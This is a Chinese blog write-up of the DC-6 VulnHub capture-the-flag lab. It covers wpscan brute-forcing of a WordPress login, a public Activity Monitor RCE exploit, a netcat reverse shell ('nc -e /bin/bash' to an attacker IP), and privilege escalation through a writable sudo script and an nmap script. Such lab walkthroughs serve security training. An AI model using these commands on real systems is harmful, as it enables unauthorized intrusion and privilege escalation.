当前位置:网站首页>DC-6--vulnhub靶场
DC-6--vulnhub靶场
2022-07-26 00:15:00 【逆风/】
靶场下载地址
靶场线索:
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
kali解压
gzip -d rockyou.txt.gz
主机发现

发现重定向,修改hosts文件
vim /etc/hosts

网站探测

wordpress,并提到了插件与安全
爆破用户
wpscan --url http://wordy/ -e u

保存 ,使用线索的密码字典爆破
wpscan --url http://wordy/ -P /root/桌面/passwords.txt -U /root/桌面/user.txt
Username: mark, Password: helpdesk01
登录后台网址
http://wordy/wp-login.php
来到后台后,发现插件activity monitor,试试有无漏洞
getshell
searchsploit activity monitor

远程代码执行漏洞,下载到当前路径
searchsploit -m php/webapps/50110.py
执行
python3 50110.py
执行后需要输入目标ip地址和后台登录的账号密码,执行成功后会返回一个shell
nc -lvvp 4444
nc -e /bin/bash 192.168.194.156 4444

获取交互shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’
提权
参考
来到home目录,在mark/stuff中找到一个things-to-do.txt,得到
用户 graham
密码GSo7isUM1D4
切换用户
[email protected]:/home/mark/stuff$ su graham
su graham
Password: GSo7isUM1D4
看下能做什么
[email protected]:/home/jens$ sudo -l
sudo -l
Matching Defaults entries for graham on dc-6:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User graham may run the following commands on dc-6:
(jens) NOPASSWD: /home/jens/backups.sh
向backups.sh文件中写入”/bin/bash”,并以jens用户去执行该脚本
echo “/bin/bash” >> backups.sh
sudo -u jens ./backups.sh
执行成功后,切换到了jens用户
该用户可以执行nmap,可以通过namp提权
echo 'os.execute("/bin/sh")' >getShell
sudo nmap --script=getShell

总结
提权过程不熟悉
边栏推荐
猜你喜欢

Binary representation -- power of 2

letfaw

matlab实时作出串口输出数据的图像

MySQL - master-slave replication
![[redis] ③ data elimination strategy, pipeline command, publish and subscribe](/img/80/7caeb24380ea026aa8153f2169dfdd.png)
[redis] ③ data elimination strategy, pipeline command, publish and subscribe

The way of understanding JS: write a perfect combination inheritance (Es5)

Comparing the seven distributed transaction schemes, I prefer Alibaba's open source Seata (principle + Practice)

分布式事务 :可靠消息最终一致性方案

Redis killed twelve questions. How many questions can you carry?

Preparation of bovine serum albumin modified by low molecular weight protamine lmwp/peg-1900 on the surface of albumin nanoparticles
随机推荐
CyclicBarrier
The way of understanding JS: write a perfect combination inheritance (Es5)
letfaw
MWEC:一种基于多语义词向量的中文新词发现方法
Pikachu靶机通关和源码分析
寻找命令find和locate
mysql事务的引入
Opencv learning Day6
基于MFFMB的电商评论文本分类研究
IP Core: PLL
[contents] mqtt, nodejs projects
MPLS experiment
Detailed explanation of C language preprocessing
Hefei approved in advance
JVM 三色标记法与读写屏障
@RequestParam,@PathVariable两个注解的区别
【目录】Nodejs、npm、yarn、BUG
FreeRTOS个人笔记-消息队列
融合聚类信息的技术主题图可视化方法研究
Duplicate disk: recommended system - negative sampling strategy